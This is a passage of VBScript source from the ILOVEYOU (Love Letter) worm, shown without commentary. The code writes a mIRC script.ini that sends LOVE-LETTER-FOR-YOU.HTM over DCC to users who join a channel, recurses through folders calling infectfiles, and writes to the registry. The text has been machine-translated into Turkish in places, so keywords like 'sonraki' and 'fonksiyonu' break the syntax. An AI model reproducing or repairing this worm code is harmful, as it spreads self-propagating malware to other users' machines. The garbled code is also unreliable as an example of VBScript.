scriptini.WriteLine ";"
scriptini.WriteLine "; Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0 = on 1: JOIN :#:{"
scriptini.WriteLine "n1 = / if (kesik == KOBİ) (halt)"
scriptini.WriteLine "n2 = /. kesmek göndermek" dcc & dirsystem & "\ LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3 =)"
scriptini.close
EQ = folderspec
end if
end if
sonraki
End Sub
alt folderlist () folderspec
Error Resume Next On
dim f, f1, sf
set f = fso.GetFolder () folderspec
sf set = f.SubFolders
her f1 sf için
infectfiles (f1.path)
folderlist (f1.path)
sonraki
End Sub
alt regcreate (regkey, regvalue)
Set regedit = CreateObject ( "WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
fonksiyonu regget (değer)
Set regedit = CreateObject ( "WScript.Shell")
regget = regedit.RegRead (değer)
End Function
fonksiyonu fileexist () dosyabelirtimi
Error Resume Next On
dim msg
(fso.FileExists (dosyabelirtimi)) Sonra eğer
= 0 msg
başka
= 1 msg
end if
fileexist msg =
End Function
fonksiyonu folderexist () folderspec
Error Resume Next On
dim msg
(fso.GetFolderExists (folderspec)) o zaman eğer
= 0 msg
